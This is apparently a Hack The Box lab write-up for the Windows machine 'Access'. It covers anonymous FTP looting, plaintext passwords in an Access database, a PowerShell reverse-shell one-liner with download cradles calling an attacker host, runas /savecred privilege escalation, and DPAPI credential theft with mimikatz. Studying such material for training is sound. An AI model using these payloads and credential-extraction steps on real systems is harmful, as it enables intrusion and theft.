Access 
25​th​ February 2019 / Document No D19.100.09 
Prepared By: egre55 
Machine Author: egre55 

  Difficulty: ​Easy 
Classification: Official 

Page 1 / 14 
 

SYNOPSIS 
Access is an ​"​easy​"​ difficulty machine, that highlights how machines associated with the physical 
security of an environment may not themselves be secure. Also highlighted is how accessible 
FTP/file shares often lead to getting a foothold or lateral movement. It teaches techniques for 
identifying and exploiting saved credentials. 

Skills Required  Skills Learned 

● Basic Windows knowledge  ● Enumeration of Access Databases and 

Outlook Personal Archives 
 
● Identification of saved credentials 
● DPAPI credential extraction 

Page 2 / 14 
 

Enumeration 

Nmap 
 
masscan -p1-65535,U:1-65535 10.10.10.98 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F ​" "​ ​'{print $4}'​ | awk -F ​"/"​ ​'{print $1}'​ | sort -n | tr ​'\n'
','​ | sed ​'s/,$//'​)
nmap -Pn -sV -sC -p​$ports​ 10.10.10.98

Nmap output shows that anonymous FTP, Telnet and a web server running IIS 7.5 are available. 
This version of IIS shipped with Windows Server 2008 R2. Visual inspection of the website 
reveals a still of a data centre video feed.  

Page 3 / 14 
 

FTP 

The FTP server is examined and two files are visible, "\Backups\backup.mdb" and 
"\Engineer\Access Control.zip". These are both binary files and so the FTP binary transfer mode is 
enabled. 
 
ufw allow from 10.10.10.98 to any
apt install ftp
ftp
ftp> open
(to) 10.10.10.98
Name (10.10.10.98:root): anonymous
Password: anonymous
ftp> dir
ftp> ​cd​ Backups
ftp> dir
ftp> ​type​ binary
ftp> get backup.mdb
ftp> ​cd​ ..
ftp> ​cd​ Engineer
ftp> dir
ftp> get ​"Access Control.zip" 

 
 

Page 4 / 14 
 

Inspection of interesting files 

mdb-tools 
 

The command "file backup.mdb" confirms that this is a Microsoft Access database, which can be 
examined using "mdb-tools" (created by Brian Bruns). The tables are displayed with "mdb-tables" 
and grep colour output is used to highlight tables of interest. There is an "auth_user" table, in 
what seems to be a database backup from a "ZKAccess" installation. ZKAccess is an Access 
Control software application, used to manage card readers and physical security of an 
environment. Data from this table is exported using "mdb-export", which reveals usernames and 
plaintext passwords. 
 
mdb-tables backup.mdb | grep --color=auto user
mdb-export backup.mdb auth_user 

 
ZKAccess admin/engineer accounts: 
 
admin:admin
engineer:access4u@security
backup_admin:admin

Page 5 / 14 
 

7z 

The attempt to extract the zip file with the "unzip" command fails due to it being compressed 
using an unsupported format. 7z is used to examine the Zip file, which shows that it was 
encrypted using the AES-256 algorithm. AES-256 is supported by 7z and WinZip. 
 
7z l -slt Access\ Control.zip 

 
 
Using the previously gained password ​access4u@security​, the Zip file is extracted. 

7z x Access\ Control.zip

 
 

Page 6 / 14 
 

Foothold 

This reveals the file "Access Control.pst", which is a Microsoft Outlook Personal Folder file, used 
to store emails and other items. This can be examined further using "readpst". 
 
readpst -tea -m Access\ Control.pst 

 
An email explains that the password for the "security" account (conceivably used by the 
engineers who maintain the physical security system) has been changed to ​4Cc3ssC0ntr0ller

security:4Cc3ssC0ntr0ller

 
This credential is used to open a telnet session (the user seems unprivileged), and the user flag 
can be gained. 
 

Page 7 / 14 
 

Post-Exploitation 

Upgrade from telnet shell 

 
The telnet shell is not very convenient, and it is quickly upgraded. A web server is started and 
hosts shell.ps1. 
 
php -S 0.0.0.0:80 

 
Nishang – created by Nikhil SamratAshok Mittal (@nikhil_mitt) – contains many handy scripts, 
such as the following PowerShell reverse shell one-liner. 
 
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1  
 
shell.ps1 
 
$client​ = New-Object System.Net.Sockets.TCPClient(​"10.10.14.2"​,443);​$stream​ =
$client​.GetStream();[byte[]]​$bytes​ = 0..65535|%{0};​while​((​$i​ = ​$stream​.Read(​$bytes​,
0, ​$bytes​.Length)) -ne 0){;​$data​ = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString(​$bytes​,0, ​$i​);​$sendback​ = (iex ​$data​ 2>&1 |
Out-String );​$sendback2​ = ​$sendback​ + ​"PS "​ + (​pwd​).Path + ​"> "​;​$sendbyte​ =
([text.encoding]::ASCII).GetBytes(​$sendback2​);​$stream​.Write(​$sendbyte​,0,​$sendbyte​.L
ength);​$stream​.Flush()};​$client​.Close() 

 
A standard Powershell download cradle is used to execute the reverse shell. "​START​" is used so 
that the existing telnet session is not locked up. The ​/B​ parameter is specified so that a new 
window is not created for the shell, which has the effect that the incoming shell is able to use the 
full width of the screen, instead of being constrained to the telnet session display width. 
 
START /B ​""​ powershell -c IEX (​New-Object
Net.Webclient).downloadstring(​'http://10.10.14.2/shell.ps1'​) 

Page 8 / 14 
 

Identification of saved credential 

A useful command to run when beginning enumeration is "cmdkey /list", which displays stored 
user names and passwords or credentials. This reveals a stored credential for 
"ACCESS\Administrator". 
 

 
 
Windows may store credentials for a number of reasons. One of them is that an sysadmin may 
have configured an application to run as an administrative user, with the "/savecred" switch 
specified. There is no way in Windows to restrict use of the "runas /savecred" privilege to a single 
application - once this has been configured, runas can be used to run any command with 
elevated privileges. Some reasons why an sysadmin may choose to use "runas /savecred" are to 
keep them from having to repeatedly enter (or provide) the admin password, or it may be to run 
an application with elevated privileges in order to bypass application whitelisting or to allow write 
access to protected application directories. 

Typically "runas /savecred" is used to create a shortcut, which the user clicks to run the desired 
application. The commands below are used to enumerate all the accessible shortcut (.lnk) files on 
the system, and examine them for the presence of the "runas" command. 
 
> Get-ChildItem​ ​"C:\"​ *.lnk -Recurse -Force | ft fullname | ​Out-File​ shortcuts.txt
> ​ForEach​(​$file​ ​in​ gc .\shortcuts.txt) { ​Write-Output​ ​$file​; gc ​$file​ |
Select-String​ runas } 

 
It seems that the ZKAccess shortcut on the Public Desktop has been configured in this way. 

Page 9 / 14 
 

When inspecting the Public user profile, the Desktop folder is not immediately visible as it is a 
hidden folder. It is possible to traverse the folder and list the files within. The folder is accessible 
to the builtin "NT AUTHORITY\INTERACTIVE" group. Users who log in "interactively" locally, or 
over a Remote Desktop or telnet session will have the Interactive SID in their access token. 
 
ls C:\Users\Public
icacls C:\Users\Public\Desktop 

 
whoami /groups 

Page 10 / 14 
 

Privilege Escalation 

Exploiting "runas /savecred" 

The following command is used to start a PowerShell reverse shell as ACCESS\Administrator. 

 
runas /user:ACCESS\Administrator /savecred ​"powershell -c IEX (New-Object
Net.Webclient).downloadstring('http://10.10.14.2/admin.ps1')" 
 

 
 
 
 
 
 
 
 
 

Page 11 / 14 
 

DPAPI abuse 

Identification of credentials and masterkeys 

 
This runas credential (and many other types of stored credentials) can be extracted from the 
Windows Data Protection API. In order to achieve this, it is necessary to identify the credential 
files and masterkeys. Credential filenames are a string of 32 characters, e.g. 
"85E671988F9A2D1981A4B6791F9A4EE8" while masterkeys are a GUID, e.g. 
"cc6eb538-28f1-4ab4-adf2-f5594e88f0b2". They have the "System files" attribute, and so "DIR 
/AS" must be used. The following "one-liner" will identify the available credential files and 
masterkeys. 
 
cmd​ /c "​dir​ /S /AS C:\Users\security\AppData\Local\Microsoft\Vault & ​dir​ /S /AS
C:\Users\security\AppData\Local\Microsoft\Credentials & ​dir​ /S /AS
C:\Users\security\AppData\Local\Microsoft\Protect & ​dir​ /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Vault & ​dir​ /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Credentials & ​dir​ /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Protect" 
 

 
 
 

Page 12 / 14 
 

Powershell Base64 file transfer 

 
The credential and masterkey are base64 encoded. 
 
[Convert]::ToBase64String([IO.File]::ReadAllBytes(​"C:\Users\security\AppData\Roamin
g\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290"​)) 
 
[Convert]::ToBase64String([IO.File]::ReadAllBytes(​"C:\Users\security\AppData\Roamin
g\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8
b43-d93d64590580"​)) 
 
They are converted back to the original files on an attacker controlled computer, where they can 
be inspected with mimikatz. 
 
[IO.File]::WriteAllBytes(​"51AB168BE4BDB3A603DADE4F8CA81290"​,
[Convert]::FromBase64String(​"AQAAAA4CAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALsOSB6
VI40+LQ9k9ZFkFgAAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAI
ABEAGEAdABhAA0ACgAAABBmAAAAAQAAIAAAAPW7usJAvZDZr308LPt/MB8fEjrJTQejzAEgOBNfpaa8AAAA
AA6AAAAAAgAAIAAAAPlkLTI/rjZqT3KT0C8m5Ecq3DKwC6xqBhkURY2t/T5SAAEAAOc1Qv9x0IUp+dpf+I7
c1b5E0RycAsRf39nuWlMWKMsPno3CIetbTYOoV6/xNHMTHJJ1JyF/4XfgjWOmPrXOU0FXazMzKAbgYjY+WH
hvt1Uaqi4GdrjjlX9Dzx8Rou0UnEMRBOX5PyA2SRbfJaAWjt4jeIvZ1xGSzbZhxcVobtJWyGkQV/5v4qKxd
lugl57pFAwBAhDuqBrACDD3TDWhlqwfRr1p16hsqC2hX5u88cQMu+QdWNSokkr96X4qmabp8zopfvJQhAHC
KaRRuRHpRpuhfXEojcbDfuJsZezIrM1LWzwMLM/K5rCnY4Sg4nxO23oOzs4q/ZiJJSME21dnu8NAAAAAY/z
BU7zWC+/QdKUJjqDlUviAlWLFU5hbqocgqCjmHgW9XRy4IAcRVRoQDtO4U1mLOHW6kLaJvEgzQvv2cbicmQ
=="​)) 
 
[IO.File]::WriteAllBytes(​"0792c32e-48a5-4fe3-8b43-d93d64590580"​,
[Convert]::FromBase64String(​"AgAAAAAAAAAAAAAAMAA3ADkAMgBjADMAMgBlAC0ANAA4AGEANQAtAD
QAZgBlADMALQA4AGIANAAzAC0AZAA5ADMAZAA2ADQANQA5ADAANQA4ADAAAAAAAAAAAAAFAAAAsAAAAAAAA
ACQAAAAAAAAABQAAAAAAAAAAAAAAAAAAAACAAAAnFHKTQBwjHPU+/9guV5UnvhDAAAOgAAAEGYAAOePsdmJ
xMzXoFKFwX+uHDGtEhD3raBRrjIDU232E+Y6DkZHyp7VFAdjfYwcwq0WsjBqq1bX0nB7DHdCLn3jnri9/Mp
VBEtKf4U7bwszMyE7Ww2Ax8ECH2xKwvX6N3KtvlCvf98HsODqlA1woSRdt9+Ef2FVMKk4lQEqOtnHqMOcwF
ktBtcUye6P40ztUGLEEgIAAABLtt2bW5ZW2Xt48RR5ZFf0+EMAAA6AAAAQZgAAD+azql3Tr0a9eofLwBYfx
BrhP4cUoivLW9qG8k2VrQM2mlM1FZGF0CdnQ9DBEys1/a/60kfTxPX0MmBBPCi0Ae1w5C4BhPnoxGaKvDbr
cye9LHN0ojgbTN1Op8Rl3qp1Xg9TZyRzkA24hotCgyftqgMAAADlaJYABZMbQLoN36DhGzTQ"​)) 
 
 
 

Page 13 / 14 
 

Credential extraction 
 
The mimikatz Wiki provides detailed guidance on working with Windows Credential Manager 
saved credentials. 
 
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials 
 
The credential file is examined, which reveals the corresponding masterkey (guidMasterKey). This 
matches the masterkey that was extracted. 
 
dpapi::​cred​ /​in​:51​AB168BE4BDB3A603DADE4F8CA81290
/​sid:S​-1-5-21-953262931-566350628-63446256-1001 /​password​:4​Cc3ssC0ntr0ller 
 

 
 
The masterkey file is examined next, and the key is extracted. 
 
dpapi::​masterkey​ /​in​:0792​c32e​-48​a5​-4​fe3​-8​b43​-​d93d64590580
/​sid:S​-1-5-21-953262931-566350628-63446256-1001 /​password​:4​Cc3ssC0ntr0ller 
 

 
 
With the masterkey in mimikatz’s cache, the credential blob can now be decrypted. It is now 
possible to open a telnet session as ACCESS\Administrator and gain the root flag. 
 
dpapi::​cred​ /​in​:51​AB168BE4BDB3A603DADE4F8CA81290 
 

Page 14 / 14